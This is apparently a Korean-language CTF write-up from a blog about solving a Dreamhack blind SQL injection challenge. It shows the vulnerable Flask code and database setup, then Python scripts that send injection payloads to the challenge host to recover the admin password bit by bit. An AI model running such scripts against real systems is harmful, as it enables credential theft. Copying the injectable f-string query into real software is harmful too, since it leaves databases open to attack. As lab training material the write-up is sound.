비밀번호가 아스키코드와 한글로 구성되어 있다고 나와있다.
한글의 조합 경우의 수가 너무 많기 때문에 모든 문자에 대한 브루트포싱은 비효율적이다.
비트 연산을 이용해서 비밀번호의 비트를 알아내는 방식으로 공격해야 한다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
init.sql을 확인해보면 admin 계정의 비밀번호가 flag임을 알 수 있다.
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
GET 방식으로 받은 uid 값이 그대로 SQL구문에 들어간다.
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
쿼리의 참, 거짓만 알 수 있기 때문에 blind sql injection을 이용해야 한다.
nrows==1 일 때만 결과를 출력하기 때문에 limit을 이용해야 한다.
우선 비밀번호의 길이를 알아야 한다.
length 함수는 바이트 형태의 길이를 반환하기 때문에 아스키코드로 구성되어 있지 않다면 틀린 값이 반환된다.
정확한 길이를 알기 위해서 char_length 함수를 사용해야 한다.
from requests import get
host = "http://host3.dreamhack.games:15487/"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
이렇게 코드를 작성하면 된다.
char_length가 password_length 변수와 일치하지 않으면 password_length를 계속 증가시키고
일치하면 그때 password_length 값이 비밀번호의 길이이니까 출력한다.
비밀번호의 각 문자를 비트로 표현했을 때 그 길이도 알아야 한다.
for i in range(1, 14):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
앞에서 비밀번호의 길이가 13으로 나왔기 때문에 반복문의 범위는 저렇게 설정하였다.
비밀번호의 i번째 문자를 substr로 가져오고 이를 ord, bin 함수로 비트로 바꿔준 다음 length 함수를 사용했다.
이렇게 각 문자의 비트 길이를 알아냈다.
이제 각 문자의 비트 값을 알아내야 한다.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
substr로 upw의 i번째 문자를 가져와서 비트로 바꿔주고 그 비트의 j번째 값을 substr로 가져온다.
이런 식으로 나오는데 이제 비트 값을 다시 문자로 변환해야 한다.
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
비트를 정수로 변환하고 바이트 배열로 변환한 뒤에 utf-8 문자열로 디코딩한다.
여기서 to_bytes 함수에서 (bit_length+7)//8이 인자로 들어가는 것은 필요한 바이트 수를 계산하는 과정이다.
마지막으로 구해진 password 값이 flag이다.
(vscode에서 실행하면 깨지는데 터미널에서 실행하면 정상적으로 나온다.)
'웹해킹' 카테고리의 다른 글
SQL Injection-2 (0) | 2023.12.02 |
---|---|
드림핵 error based sql injection 롸업 (0) | 2023.12.02 |
SQL Injection-1 (0) | 2023.11.30 |
드림핵 DOM XSS 롸업 (0) | 2023.11.26 |
드림핵 XS-Search 롸업 (0) | 2023.11.26 |